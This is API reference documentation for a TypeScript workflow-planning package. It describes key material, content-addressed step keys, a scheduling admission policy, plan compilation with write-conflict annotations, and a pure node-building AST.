Compiling needs Effect's `Crypto` service and nothing else. The package depends on [`@smthrs/crypto`](/docs/reference/api/crypto/), [`@smthrs/canonical`](/docs/reference/api/canonical/), [`@smthrs/keys`](/docs/reference/api/keys/), and `effect`, performs no I/O, and is browser-safe. Persisting a compiled plan is [`@smthrs/plan-store`](/docs/reference/api/plan-store/), which is where the database dependency lives.

## Entry point

| Import         | Source                                                                                                     | Platform         |
| -------------- | ---------------------------------------------------------------------------------------------------------- | ---------------- |
| `@smthrs/plan` | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/index.ts) | Node and browser |

## KeyMaterial

[src/KeyMaterial.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/KeyMaterial.ts)

What a planner declares about one node, handed to the compiler: a `version`, a tier `kind`, an optional `nondeterministic` flag, an opaque `body`, an ordered list of `InputRef`s, `layers`, `capabilities`, and opaque `effects` and `placement`.

`kind` is `sealed`, `compensable`, or `irreversible`. Absence of `nondeterministic` claims determinism; only the explicit declaration changes identity. The `InputRef` tag is hashed, so `Pending{from}` and `Ref{from, path: []}` cannot collide even though both resolve to the same dependency digest.

`dependencies` is the single derivation of a node's edge set, so a hashed reference and an edge can never disagree. `StepKey` canonically serializes `effects` and `placement` and never interprets them, which keeps the key compiler independent of whatever the flow builder decides an effect declaration looks like. `Plan.compile` is stricter: it decodes `NodeDraft.effects` through `NodeEffects` and writes the result into `material.effects`, replacing anything a caller put there. That makes the draft declaration the single derivation point for effect identity, so a node's key cannot disagree with the effects its conflict annotations and approval payload were computed from.

### KeyMaterial.InputRef

```ts
type InputRef =
  | { readonly _tag: "Literal"; readonly value: unknown }
  | { readonly _tag: "Ref"; readonly from: string; readonly path: ReadonlyArray<string> }
  | { readonly _tag: "Pending"; readonly from: string }
```

One declared input. `Literal` is hashed inline. `Ref` names an upstream node and the property path read off its result. `Pending` names an upstream node without consuming its value, which is an ordering reference. `from` is a non-empty string. Exported as both a schema and a type.

### KeyMaterial.KeyMaterial

```ts
const KeyMaterial: Schema.Struct<{
  version: Schema.Literal<"flows/key-material/v2">
  kind: Schema.Literals<["sealed", "compensable", "irreversible"]>
  nondeterministic: Schema.optional<Schema.Literal<true>>
  body: Schema.Unknown
  inputs: Schema.Array$<typeof InputRef>
  layers: Schema.Array$<Schema.String>
  capabilities: Schema.Array$<Schema.String>
  effects: Schema.optional<Schema.Unknown>
  placement: Schema.optional<Schema.Unknown>
}>
```

Everything that can change a node's result. Exported as both a schema and a type.

### KeyMaterial.version

```ts
const version: "flows/key-material/v2"
```

The material version, folded into every hashed body so a bump re-keys every node derived from it.

### KeyMaterial.dependencies

```ts
const dependencies: (material: KeyMaterial) => ReadonlyArray<string>
```

The graph-local dependencies a material names, in declaration order and without duplicates. `Literal` inputs contribute nothing. `Plan.compile` uses the result as the node's edge set.

## Scheduling

`Scheduling.make(concurrency?)` creates a pure admission policy. Import it from
`@smthrs/plan/Scheduling` or the package's `Scheduling` namespace. The optional
`steps` and `agents` limits must be positive safe integers; omission is
unbounded within the safe-integer range. Construction snapshots the limits.

`policy.admit(ready, active)` takes candidates `{ node, order, waited }` and
the current permit usage `{ steps, agents }`. Each node supplies its unique
`id`, `kind` (`step`, `agent`, or `merge`), and safe-integer `priority`.
`order` is its unique non-negative position in the compiled plan, not arrival
order. `waited` is its non-negative count of capacity-constrained admission
passes. An agent consumes both a step permit and an agent permit.

The result contains immutable `admitted` and `deferred` candidate arrays plus
the number of newly admitted `agents`. Only deferred candidates receive an
incremented age; input candidates and node values are not mutated. Age
saturates at `Number.MAX_SAFE_INTEGER`. Exact priority-plus-age comparison
prevents floating-point rounding from changing the ordering. Equal scores
preserve plan order; a blocked agent does not prevent a regular node from using
available step capacity. Invalid counts, duplicate IDs/positions, or invalid
priorities are refused synchronously with `RangeError`.

This policy is used by `@smthrs/engine-store`'s durable plan scheduler. It does
not determine readiness, evaluate branches, launch nodes, or cancel effects.
The caller must supply only ready candidates and apply the returned ages before
its next admission pass. Public interpreter/compiled scheduling parity is not
provided by this policy alone.

## StepKey

[src/StepKey.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/StepKey.ts)

The compiler from material to a [`@smthrs/keys`](/docs/reference/api/keys/) `Key`. `planIdentity` substitutes each `Ref` and `Pending` for the already-computed key of the referenced node. Sealed material retains the `fromKeyMaterial` content-key format; other tiers use a separate declaration namespace. `ordinal` mints the deliberately run-local key of compensable, irreversible, or unsealed work, whose `tier` is one of those three words.

Structural node ids do not enter declaration fingerprints. Non-cacheable execution keys also need a run-local structural scope to distinguish repeated identical effects. Only `sealed` material may become a content key, so `fromKeyMaterial` fails `non_content_material` for the other two tiers. A dependency digest is resolved as an own property, so a `Ref` naming `toString` or `constructor` is a `missing_dependency` refusal rather than a colliding key.

The brand behind `digestInput` is private, so a plain object that merely has a `digest` field hashes as a literal. That closes a collision where shape sniffing hashed a genuine upstream-result reference and an ordinary content hash identically.

`environment` is hashed in its own namespace rather than merged into the caller's declarations, so `caller{fs:["a"]} + env{fs:["b"]}` cannot alias `caller{fs:["a","b"]} + env{}`. Environment layers keep declaration order because composition order can change behavior; caller-owned layers are set-normalized. `EnvironmentIdentity` is a discriminated union: a declared environment carries no `runScope`, and an undeclared one must carry a non-empty one, pinning the key to a single run so a step whose environment identity is unknown never serves a cross-run hit. Both `content` and `dispatchIdentity` enforce that at run time with `invalid_environment`.

`project` is the one projection semantics for the value channel. It resolves only own data properties, so a path segment that is missing, inherited, or an accessor yields `undefined` and no getter runs during key derivation.

A `DigestMemo` shares one in-flight projected-value digest between concurrent callers. A waiter never inherits the leader's interruption: if the leader's fiber is cancelled, the waiter recomputes as the new leader.

### StepKey.StepKey

```ts
type StepKey = StoredKey
```

A computed step key: `key1_` plus a SHA-256 digest of the canonical serialization of the material. Identical in representation to every other flow key, which is what lets the engine dispatch under it.

### StepKey.ContentIdentity

```ts
interface ContentIdentity {
  readonly body: unknown
  readonly inputs: Readonly<Record<string, unknown | DigestInput>>
  readonly layers: ReadonlyArray<string>
  readonly capabilities: Readonly<Record<string, ReadonlyArray<string>>>
  readonly environment?: EnvironmentIdentity | undefined
  readonly hermetic?: {
    readonly readSet: ReadonlyArray<{ readonly path: string; readonly digest: string }>
    readonly writeSet: ReadonlyArray<FileSet.Entry>
    readonly removes?: ReadonlyArray<string> | undefined
    readonly boundaryMode: "hard" | "expected"
  } | undefined
}
```

Material describing a sealed or hermetic content-addressed step. `layers` and each capability group are set-normalized before hashing; `hermetic.readSet` is sorted and deduplicated by path and digest, and `hermetic.writeSet` by entry.

### StepKey.OrdinalIdentity

```ts
interface OrdinalIdentity {
  readonly runId: string
  readonly parentScope?: string | undefined
  readonly ordinal: number
  readonly tier: "compensable" | "irreversible" | "unsealed"
}
```

Material describing the run-local identity of a non-cacheable step.

### StepKey.EnvironmentIdentity

```ts
type EnvironmentIdentity =
  | {
    readonly declared: true
    readonly layers: ReadonlyArray<string>
    readonly capabilities: Readonly<Record<string, ReadonlyArray<string>>>
    readonly runScope?: undefined
  }
  | {
    readonly declared: false
    readonly layers: ReadonlyArray<string>
    readonly capabilities: Readonly<Record<string, ReadonlyArray<string>>>
    readonly runScope: string
  }
```

The engine-resolved execution environment a content key is computed under.
`EnvironmentIdentity` is also a runtime schema; its TypeScript type is derived
from that schema. `content`, `dispatchIdentity`, and `environmentIdentity`
validate the entire shape, reject unknown fields, and return typed
`invalid_environment` errors for invalid identities rather than defects.

### StepKey.environmentIdentity

```ts
const environmentIdentity: (
  environment?: EnvironmentIdentity
) => Effect.Effect<StoredKey, KeyMaterialError | Schema.SchemaError, Crypto.Crypto>
```

A fingerprint for binding a durable execution to its runtime environment,
not an action dispatch key. It has a separate `execution-environment/v1`
namespace and uses the same normalization as content/dispatch keys: layer
order and duplicates are significant; layer strings and capability patterns
normalize to NFC; capability-pattern sets sort and deduplicate. Capability
group names retain their exact spelling. An omitted environment, declared-empty
environment, and undeclared run-scoped environment remain distinct.

`PlanScheduler` snapshots the identity at construction and stores this
fingerprint with `PlanInputStore` before dispatch. Changed identities cannot
resume the same run. This does not change existing valid action-key material
or detect implementation changes missing from the declared identity.

### StepKey.DigestInput

```ts
interface DigestInput {
  readonly digest: string
  readonly reference?: "ref" | "pending" | "ref-projected"
  readonly path?: ReadonlyArray<string>
}
```

A precomputed digest supplied as a step input rather than a literal value. It also carries a private brand, which is the whole point: only `digestInput` can produce one.

### StepKey.digestInput

```ts
const digestInput: (
  digest: string,
  reference?: {
    readonly reference: "ref" | "pending" | "ref-projected"
    readonly path?: ReadonlyArray<string>
  }
) => DigestInput
```

Nominally tags a precomputed digest so it is hashed as a digest reference rather than a literal value.

### StepKey.isDigestInput

```ts
const isDigestInput: (value: unknown) => value is DigestInput
```

Type guard for values produced by `digestInput`. It reads the private brand, so a plain `{digest: "..."}` answers `false`.

### StepKey.DigestMemo

```ts
interface DigestMemo {
  readonly digest: (
    from: string,
    path: ReadonlyArray<string>,
    compute: Effect.Effect<StepKey, Schema.SchemaError, Crypto.Crypto>
  ) => Effect.Effect<StepKey, Schema.SchemaError, Crypto.Crypto>
}
```

Caller-owned memoization context for projected dependency-value digests, addressed by the JSON-encoded `[from, path]` tuple. Entries are sound only while each settled `from` value is immutable, so create a fresh memo when those values can change.

### StepKey.makeDigestMemo

```ts
const makeDigestMemo: () => DigestMemo
```

Creates an empty memo.

### StepKey.content

```ts
const content: (
  identity: ContentIdentity
) => Effect.Effect<StepKey, KeyMaterialError | Schema.SchemaError, Crypto.Crypto>
```

Produces a cross-run reusable key. Set-like declarations are normalized before serialization; write declarations remain part of the identity even when the step writes nothing.

### StepKey.ordinal

```ts
const ordinal: (
  identity: OrdinalIdentity
) => Effect.Effect<StepKey, Schema.SchemaError, Crypto.Crypto>
```

Produces a run-local key for compensable, irreversible, or unsealed work. These keys intentionally cannot be reused across runs.

### StepKey.planIdentity

```ts
const planIdentity: (
  material: KeyMaterial.KeyMaterial,
  dependencyDigests: Readonly<Record<string, string>>
) => Effect.Effect<StepKey, KeyMaterialError | Schema.SchemaError, Crypto.Crypto>
```

The declaration fingerprint used by `Plan.compile`, `append`, and `verify`.
Accepts every effect tier. Non-sealed fingerprints use a distinct, tier-bearing
namespace and are not cross-run cache keys. Dependency references must resolve
to own string-valued properties, as with `fromKeyMaterial`.

### StepKey.fromKeyMaterial

```ts
const fromKeyMaterial: (
  material: KeyMaterial.KeyMaterial,
  dependencyDigests: Readonly<Record<string, string>>
) => Effect.Effect<StepKey, KeyMaterialError | Schema.SchemaError, Crypto.Crypto>
```

The sealed plan key: resolves graph-local references against `dependencyDigests`, which must hold an own string-valued property for every node the material names, then builds a content key. Fails `non_content_material` unless `material.kind` is `sealed`. Use `planIdentity` for a tier-independent compiler.

### StepKey.dispatchIdentity

```ts
const dispatchIdentity: (options: {
  readonly material: KeyMaterial.KeyMaterial
  readonly results: Readonly<Record<string, unknown>>
  readonly hermetic: NonNullable<ContentIdentity["hermetic"]>
  readonly environment?: EnvironmentIdentity | undefined
  readonly digestMemo?: DigestMemo | undefined
}) => Effect.Effect<StepKey, KeyMaterialError | Schema.SchemaError, Crypto.Crypto>
```

The key a dispatch is _cached_ under, as distinct from the plan key a node is _identified_ by.

A plan key folds the resolved keys of every upstream node, transitively, so an edit anywhere upstream re-keys everything below it, even when the edited node's output value is byte for byte what it was before. This derivation folds the node's own material and never an upstream key. Each input contributes content instead: a `Literal` its value, a `Ref` the digest of the settled result of `from` projected along `path`, and a `Pending` nothing beyond its tag. The measured hermetic boundary is folded unchanged.

`results` must hold every dependency the material names. The scheduler's halt rule guarantees it: a dependent of failed or skipped work never dispatches, so a `Ref` always resolves against a success.

### StepKey.project

```ts
const project: (value: unknown, path: ReadonlyArray<string>) => unknown
```

Projects a settled result along a `Ref` path. Only own data properties resolve, so a missing, inherited, or accessor segment yields `undefined` without invoking a getter. A projection that walks off the end of a result is a fact about the graph, not a failure: `undefined` drops out of the canonical form, so it hashes distinctly from every JSON value including `null`.

This is exported because it is the one projection semantics for the value channel. Every consumer that resolves a `Ref` at execution time must resolve it this way, or two inputs that key identically could be consumed differently.

### StepKey.KeyMaterialError

```ts
class KeyMaterialError extends Schema.TaggedError<KeyMaterialError>()("@smthrs/plan/KeyMaterialError", {
  code: Schema.Literals(["invalid_environment", "missing_dependency", "non_content_material"])
  message: Schema.String
})
```

Stable failures while resolving graph-local dependency references.

## Plan

[src/Plan.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/Plan.ts)

`compile` puts drafts in topological order of material dependencies, substitutes dependency digests, annotates write-set overlaps, and derives the plan digest. `append` adds a pre-keyed subgraph at the next generation, and `generationNodes` reads back the nodes the newest generation added.

Inferred edges extend `dependsOn` without reordering `plan.nodes`, so a reader can precede its writer in the array. Schedule nodes from the complete `dependsOn` graph.

`PlanNode.kind` is `step`, `agent`, or `merge`. `dependsOn` is the edge set: material references, ordering edges from `serialize`, and inferred reader-after-writer edges. Explicit `Ref`/`Pending` dependency paths select the version being read: a read before a writer consumes the initial source or an earlier producer's output, not that later writer's output. Otherwise, the compiler orders a reader after overlapping writers. A contradictory inferred ordering still fails with `cycle`; the diagnostic names both nodes, overlapping paths, and the dependency chain. Ordering edges are deliberately not key material: file content enters dispatch identity through boundary digests. `NodeEffects` carries `reads`, `writes`, optional `removes`, and `boundaryMode` (`hard` or `expected`). Removals participate in ordering just like writes.

Planning performs no I/O. Declared effects carry read and write _paths_, never digests, because measuring a path is run-time work. A node's key is a function of what it consumes, so an edited declaration re-keys that node and its dependent cone and nothing else. That is the entire invalidation mechanism: there is no reverse-dependency index and no invalidating node visitor, because content addressing subsumes both.

A plan grows and is never rewritten. `append` leaves the nodes already in it with their id, key, edges, and generation byte for byte, and the new nodes arrive pre-keyed against them. Re-ordering after a reconciliation happens by re-keying future steps.

`baseDigest` is the digest at generation 0: what a human approved and what a running run pins. `digest` advances with every appended elaboration. Both cover node identity, every computed key, the edge set, the conflict annotations, the declared effects, the priority, and each node's own conflict and runtime strategies.

A compiled plan is a deep-frozen snapshot of the drafts it was given. Material is stored as the inert JSON mirror its key already covers, so a `Date`, a `URL`, or any value with a data-valued callable `toJSON` is stored as the value it serializes to, and mutating a caller's draft after compiling cannot change the plan, its keys, or its digest. A material accessor, or a prototype with no JSON representation, is refused as `invalid_node` naming the node and the payload path rather than stored by reference. A `Planned` placeholder is left intact so canonical serialization still refuses it.

### Plan.NodeEffects

```ts
const NodeEffects: Schema.Struct<{
  reads: Schema.Array$<typeof FileSet.ReadDeclaration>
  writes: Schema.Array$<typeof FileSet.Declaration>
  removes: Schema.optional<Schema.Array$<typeof FileSet.Pattern>>
  boundaryMode: Schema.Literals<["hard", "expected"]>
}>
```

What a node does to the world, declared as paths. Exported as both a schema and a type.

### Plan.PairStrategy

```ts
type PairStrategy = "serialize" | "lane" | "fail"
```

The plan-time verdict for one overlapping pair of writers. Exported as both a schema and a type.

### Plan.RuntimeStrategy

```ts
type RuntimeStrategy = "delay-rebase" | "stop-merge"
```

What the scheduler does when a predicted overlap actually bites. Exported as both a schema and a type.

### Plan.ConflictAnnotation

```ts
const ConflictAnnotation: Schema.Struct<{
  with: Schema.NonEmptyString
  paths: Schema.Array$<Schema.String>
  strategy: typeof PairStrategy
  runtime: typeof RuntimeStrategy
}>
```

One resolved overlap between two writers that no dependency path already orders. Conflict is a property of the pair, not of one declaration. Exported as both a schema and a type.

### Plan.PlanNode

```ts
const PlanNode: Schema.Struct<{
  id: Schema.NonEmptyString
  kind: Schema.Literals<["step", "agent", "merge"]>
  key: typeof StoredKey
  material: typeof KeyMaterial.KeyMaterial
  effects: typeof NodeEffects
  dependsOn: Schema.Array$<Schema.NonEmptyString>
  conflicts: Schema.Array$<typeof ConflictAnnotation>
  strategy: typeof PairStrategy
  runtime: typeof RuntimeStrategy
  priority: Schema.Int
  generation: Schema.Int
}>
```

A keyed node of the plan. `strategy` and `runtime` are this declaration's own preferences, recorded so a later elaboration can resolve a pair against them without re-reading the flow source. Exported as both a schema and a type.

### Plan.Plan

```ts
const Plan: Schema.Struct<{
  planId: Schema.NonEmptyString
  flow: Schema.NonEmptyString
  generation: Schema.Int
  baseDigest: typeof StoredKey
  digest: typeof StoredKey
  nodes: Schema.Array$<typeof PlanNode>
}>
```

The whole keyed graph plus the digest an approval binds to. Exported as both a schema and a type.

### Plan.NodeDraft

```ts
interface NodeDraft {
  readonly id: string
  readonly material: KeyMaterial.KeyMaterial
  readonly effects: NodeEffects
  readonly kind?: PlanNode["kind"] | undefined
  readonly priority?: number | undefined
  readonly conflictStrategy?: PairStrategy | undefined
  readonly runtimeStrategy?: RuntimeStrategy | undefined
}
```

What a planner hands `compile`: a node without its key. `kind` defaults to `step`, `priority` to 0, `conflictStrategy` to `serialize`, and `runtimeStrategy` to `delay-rebase`.

### Plan.compile

```ts
const compile: (options: {
  readonly planId: string
  readonly flow: string
  readonly nodes: ReadonlyArray<NodeDraft>
}) => Effect.Effect<Plan, PlanError | StepKey.KeyMaterialError | Schema.SchemaError, Crypto.Crypto>
```

Compiles drafts into a plan: topological order of material dependencies, dependency-digest substitution, overlap annotation, reader-after-writer ordering, and the plan digest. No I/O. The options are snapshotted before anything else happens, and the result is deep-frozen at generation 0 with `baseDigest` equal to `digest`. Array order follows material dependencies; scheduling follows the complete `dependsOn` graph.

Traversal uses explicit stacks. Because the conflict and reader-after-writer passes consider a quadratic number of node pairs, plans are bounded by `maximumPlanNodes` and fail with `graph_too_large` above that limit or the effect-analysis work budget. Analysis yields periodically.

### Plan.append

```ts
const append: (
  plan: Plan,
  drafts: ReadonlyArray<NodeDraft>
) => Effect.Effect<Plan, PlanError | StepKey.KeyMaterialError | Schema.SchemaError, Crypto.Crypto>
```

Appends an elaborated subgraph at the next generation. Nodes already in the plan keep their id, key, edges, and generation byte for byte, and the new nodes arrive pre-keyed against them. `baseDigest` does not move; `digest` does. New nodes retain material-dependency order after the recorded prefix, including when inferred edges point to later entries. An append with no drafts fails as `invalid_node`.

### Plan.verify

```ts
const verify: (input: unknown) => Effect.Effect<
  Plan,
  PlanError | StepKey.KeyMaterialError | Schema.SchemaError,
  Crypto.Crypto
>
```

Reconstructs an imported plan using compiler key, dependency, conflict and generation rules. It verifies both the approval digests and the complete node contract, then returns an immutable snapshot. Compiler-owned immutable plans take a trusted fast path. `Plan.append` verifies imported prefixes through this same boundary. Recorded material-dependency order is checked without sorting inferred edges. Existing ordinals, keys, and approval digests remain unchanged; corrupted records are refused rather than silently rewritten.

### Plan.isVerified

```ts
const isVerified: (input: unknown) => input is Plan
```

Whether a value is a compiler-owned immutable snapshot that already passed `verify`. Such values take verify's trusted fast path and need no second schema validation, which is what lets [`@smthrs/plan-store`](/docs/reference/api/plan-store/)'s `PlanStore.append` skip re-decoding them.

### Plan.prefixDigest

```ts
const prefixDigest: (
  plan: Plan
) => Effect.Effect<StepKey.StepKey, StepKey.KeyMaterialError | Schema.SchemaError, Crypto.Crypto>
```

The approval digest of every generation before the newest: the digest the plan carried before its last append. `PlanStore.append` matches it against the stored envelope, so an append proves the recorded prefix is the caller's from the already-verified prefix instead of decoding and re-verifying every stored row.

### Plan.generationNodes

```ts
const generationNodes: (plan: Plan) => ReadonlyArray<PlanNode>
```

The nodes added by the newest generation: what `PlanStore.append` inserts, and what a scheduler such as [`@smthrs/engine-store`](/docs/reference/api/engine-store/)'s reports in the `subgraph-appended` record it writes to the run journal.

### Plan.writerFences

```ts
const writerFences: (nodes: ReadonlyArray<PlanNode>) => ReadonlyMap<string, ReadonlyArray<string>>
```

The earlier-generation readers each writer must wait for, by writer id and in plan order: for every node that writes or removes a path, the nodes of an earlier generation that read it. Writers with none are absent.

Neither compiler pass orders this pair. A writer appended after a reader was planned without it, so the reader reads what the path held before the writer. The relation is ordering only and is never recorded in `dependsOn`: an edge there would make a failed or skipped reader skip the writer, and would change the digest of every recorded plan with such a pair. A scheduler holds the writer until each reader settles instead; [`@smthrs/engine-store`](/docs/reference/api/engine-store/)'s does. Within one generation the reader waits for the writer through its reader-after-writer edge.

### Plan.maximumPlanNodes

```ts
const maximumPlanNodes: 10_000
```

Maximum number of nodes retained by one compiled plan. Conflict analysis is quadratic in node count, so an explicit ceiling keeps untrusted declarations from turning planning into an unbounded CPU task.

### Plan.PlanError

```ts
class PlanError extends Schema.TaggedError<PlanError>()("@smthrs/plan/PlanError", {
  code: Schema.Literals([
    "cycle",
    "unknown_dependency",
    "duplicate_node",
    "overlap_forbidden",
    "invalid_effects",
    "invalid_node",
    "invalid_plan",
    "graph_too_large"
  ])
  message: Schema.String
})
```

A graph the compiler refuses, or a stored plan `verify` cannot accept. The code set is closed, so a caller may switch on it.

| `code`               | Meaning                                                                                                                                                                                                                                            |
| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `cycle`              | material dependencies close a cycle, or a reader-after-writer edge would close one                                                                                                                                                                 |
| `unknown_dependency` | a `Ref` or `Pending` names a node that is neither in the drafts nor already in the plan                                                                                                                                                            |
| `duplicate_node`     | a draft reuses an id the plan already holds                                                                                                                                                                                                        |
| `overlap_forbidden`  | a `fail` pair genuinely overlaps and no dependency path orders it                                                                                                                                                                                  |
| `invalid_effects`    | one path is declared as both a write and a removal                                                                                                                                                                                                 |
| `invalid_node`       | an empty plan id, flow, or node id, a priority that is not a safe integer, a `kind` or strategy outside its literal set, or key material or an effect declaration this release cannot decode, which includes a path that is not workspace-relative |
| `invalid_plan`       | `Plan.verify` decoded a plan whose generations, approval digest, keys, effects, or ordering do not match its content; raised on `PlanStore.record`, `append`, and `get`, never by `compile`                                                        |
| `graph_too_large`    | a plan exceeds `Plan.maximumPlanNodes` or the effect-analysis work budget                                                                                                                                                                          |

Compilation walks with explicit stacks and never recurses per edge. Effect analysis caches transitive reachability in bitsets, updates it when inferring ordering edges, and yields periodically for interruption. It refuses more than 250,000 candidate pairs or 10,000,000 work units with `graph_too_large`. Work includes overlap comparisons, bitset merges and graph traversal. `verify` shares this budget and one effect expansion map and candidate index across all replayed generations. Plans above `Plan.maximumPlanNodes` are refused before effect analysis.

### Conflict annotations

Declared write sets make overlap detectable at plan time. Writers already ordered by a dependency path, including one ordered through an ordering edge this pass just inferred, are not conflicts. Every other overlapping pair is annotated on both members with the resolved verdict.

| Verdict     | Effect                                                                           |
| ----------- | -------------------------------------------------------------------------------- |
| `serialize` | the default; the later writer gains an ordering edge                             |
| `lane`      | both writers get lane annotations when either asks for one, and no ordering edge |
| `fail`      | `compile` fails with `overlap_forbidden`, for flows that promise disjointness    |

`fail` dominates `lane`, which dominates `serialize`. Each annotation also carries the runtime strategy the pair resolved to, where `stop-merge` dominates `delay-rebase`; that is what the scheduler does when the predicted overlap actually bites. Nodes frozen by an earlier generation are annotated on the new node only, because their rows are append-only.

## Node

[src/Node.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/Node.ts)

The pure, pipeable authoring AST. Building a node records an inspectable, closure-free, JSON-serializable description and executes nothing.

Map transforms; branch decides. Both branch arms are evaluated once, symbolically, so the exit condition and the handoff site are visible topology before anything runs. A plan is always a DAG, so there is no loop node: repetition lives one level up, in what a flow settles with.

A payload is stored as its inert JSON mirror, and that mirror is identity material: it is hashed into the step key and persisted verbatim as plaintext in `node_json` and in the approval card. Nothing in this package redacts it, and redaction after hashing would break `Plan.verify`. Keep credentials out of payloads; a secret belongs in a layer, a capability, or the environment, resolved at dispatch. A data-valued callable `toJSON` is honoured, so a `Date` or a `URL` keys as the value it serializes to rather than as an empty object; a function or symbol member is dropped from an object and becomes `null` in an array; shared references and cycles clone as they were written. Accessors and unsupported prototypes without `toJSON` fail as `invalid_payload`, and a `toJSON` that returns its own receiver fails as `cyclic_payload` rather than collapsing to an empty object the way it once did. The clone and the input therefore key identically or refuse together.

`isNode` recognizes a node this package built by registration at construction, and a rehydrated node, an object sharing the node prototype whose own `ast` is a well-formed AST, by that shape, because `@smthrs/flow` hands an AST that crossed a serialization boundary back as a node. The `TypeId` marker is a public string any object can carry and counts for nothing on its own. Every combinator that admits a node reads its `ast` as trusted topology, so an object carrying the marker on any other prototype, one inheriting it from a node, and one whose `ast` is missing, malformed, or cyclic are all refused with the same `GraphBuildError` as any other non-node. A proxy is judged by the shape it forwards.

### Node.Node

```ts
interface Node<out A, out E = never, out R = never> extends Pipeable.Pipeable {
  readonly [TypeId]: {
    readonly _A: Types.Covariant<A>
    readonly _E: Types.Covariant<E>
    readonly _R: Types.Covariant<R>
  }
  readonly ast: Ast
}
```

A pure graph-building value. `R` is Effect's requirement channel and it is phantom here: nothing at plan time reads it, so building a plan stays requirement-free while the type still states which implementations executing it will need.

`Node.Any` is `Node<unknown, unknown, any>`. `Node.Success<N>`, `Node.Error<N>`, and `Node.Services<N>` extract the three parameters.

### Node.Ast

```ts
type Ast = Succeed | Fail | All | Map | AndThen | Branch | Catch | FlowCall | ActionCall
```

The inspectable AST a node stores: closure-free, and JSON serializable for every JSON payload an author puts in it. Every variant carries an optional `priority`.

### Node.CallMode

```ts
const CallMode: Schema.Literals<["inline", "boundary", "handoff"]>
type CallMode = "inline" | "boundary" | "handoff"
```

How a flow call joins the caller's plan: `inline` splices the callee's body in, `boundary` makes it one child execution, and `handoff` names the next trampoline round. This is the one call-mode vocabulary. `Node.flowCall` takes it and [`@smthrs/flow`](/docs/reference/api/flow/)'s graph builder switches on it, so both packages read the same three names.

### Node.TypeId

```ts
const TypeId: "~@smthrs/plan/Node"
```

The runtime type identifier carried by every node, and its own type. It is a public string, so it is a hint and never a capability.

### Node.FunctionIdentity

```ts
type FunctionIdentity = {
  readonly _tag: "FunctionIdentity"
  readonly algorithm: "sha256-source-ephemeral/v4" | "sha256-source-captures/v5" | "static-node/v1"
  readonly digest: string
}
```

The serializable stand-in an AST keeps for a plan-time function: a digest of its normalized source, hashed in place of a closure that could not be shipped, stored, or compared.

### Node.isNode

```ts
const isNode: (value: unknown) => value is Any
```

Checks whether a value is a node, by construction registration or by the shape a rehydrated node forwards.

### Node.succeed

```ts
const succeed: <A>(value: A) => Node<Succeed<A>>
```

A node that succeeds with the constant’s inert JSON projection, typed as `Succeed<A>`. Dates produce `string | null` (an invalid date produces `null`); URLs produce strings. Callable `toJSON` results are projected recursively. Function and symbol members are omitted from objects and become `null` in arrays. Planned references resolve to their referenced result types. Use `Node.map` to reconstruct a domain value explicitly.

### Node.fail

```ts
const fail: <E>(error: E) => Node<never, Fail<E>>
```

A node that fails with the constant’s inert JSON projection, in the typed error channel. `Fail<E>` is the same projection `Succeed<E>` describes, because a plan stores an error exactly as it stores a value.

It is how a plan states a refusal it already knows about, such as an unsupported input, an exhausted budget, or a compensation with nothing left to undo, without an action that exists only to fail. `Node.catch` recovers it exactly as it recovers an action’s failure, including schema filtering, and an uncaught one is the flow’s typed failure. It is a leaf: it declares no effects, and its error is keyed into its step identity, so two different refusals are two different steps.

### Node.all

```ts
const all: <const Nodes extends Readonly<Record<string, Any>>>(
  nodes: Nodes
) => Node<
  Types.Simplify<{ readonly [K in keyof Nodes]: Success<Nodes[K]> }>,
  Error<Nodes[keyof Nodes]>,
  Services<Nodes[keyof Nodes]>
>
```

Combines independent children into one node, keyed by name. Width is fixed at plan time. A non-node member throws `invalid_all_member` naming that member.

### Node.race, Node.any, and Node.quorum

```ts
type Members = Readonly<Record<string, Any>>
const race: <const Nodes extends Members>(
  nodes: Nodes
) => Node<Success<Nodes[keyof Nodes]>, Error<Nodes[keyof Nodes]>, Services<Nodes[keyof Nodes]>>
const any: <const Nodes extends Members>(
  nodes: Nodes
) => Node<Success<Nodes[keyof Nodes]>, Error<Nodes[keyof Nodes]>, Services<Nodes[keyof Nodes]>>
const quorum: <const Nodes extends Members>(
  count: number,
  nodes: Nodes
) => Node<
  Types.Simplify<{ readonly [K in keyof Nodes]?: Success<Nodes[K]> }>,
  Error<Nodes[keyof Nodes]>,
  Services<Nodes[keyof Nodes]>
>
```

Joins that settle early. `race` settles with the first member to settle, success or typed failure. `any` settles with the first success and fails with the last failure when every member fails. `quorum` succeeds with exactly the first `count` successes, keyed by member, and fails with the failure that leaves too few members able to succeed.

Members still running when the join decides are interrupted. The members that decided are journaled in order, so a resumed run settles the same members and never starts the others again. An interrupted (parked) member is undecided; a defect or interpreter refusal in a member propagates without a decision. No members, a non-node member, or a quorum count outside 1 to the member count throws `invalid_join`.

### Node.map

```ts
const map: {
  <A, B>(f: (a: A) => B): <E, R>(self: Node<A, E, R>) => Node<B, E, R>
  <A, E, R, B>(self: Node<A, E, R>, f: (a: A) => B): Node<B, E, R>
}
```

Transforms an eventual success value with a deferred pure function. The function is digested, not run: it executes later, on the real value. A `map` that decides what happens next is a `branch` written wrongly.

### Node.andThen

```ts
const andThen: {
  <B, E2, R2>(next: Node<B, E2, R2>): <A, E, R>(self: Node<A, E, R>) => Node<B, E | E2, R | R2>
  <A, E, R, B, E2, R2>(self: Node<A, E, R>, next: Node<B, E2, R2>): Node<B, E | E2, R | R2>
}
```

Starts the entire next subtree only after the first node succeeds, without consuming its result. Failure or interruption prevents nested actions, combinations, and inline flows from starting. Independent children inside the next subtree can still run concurrently once the boundary opens. Passing a callback is a type error and throws `invalid_continuation` in JavaScript.

### Node.bindPlanned

```ts
const bindPlanned: {
  <A, B, E2, R2>(
    build: (reference: Planned.Planned<A>) => Node<B, E2, R2>
  ): <E, R>(self: Node<A, E, R>) => Node<B, E | E2, R | R2>
  <A, E, R, B, E2, R2>(
    self: Node<A, E, R>,
    build: (reference: Planned.Planned<A>) => Node<B, E2, R2>
  ): Node<B, E | E2, R | R2>
}
```

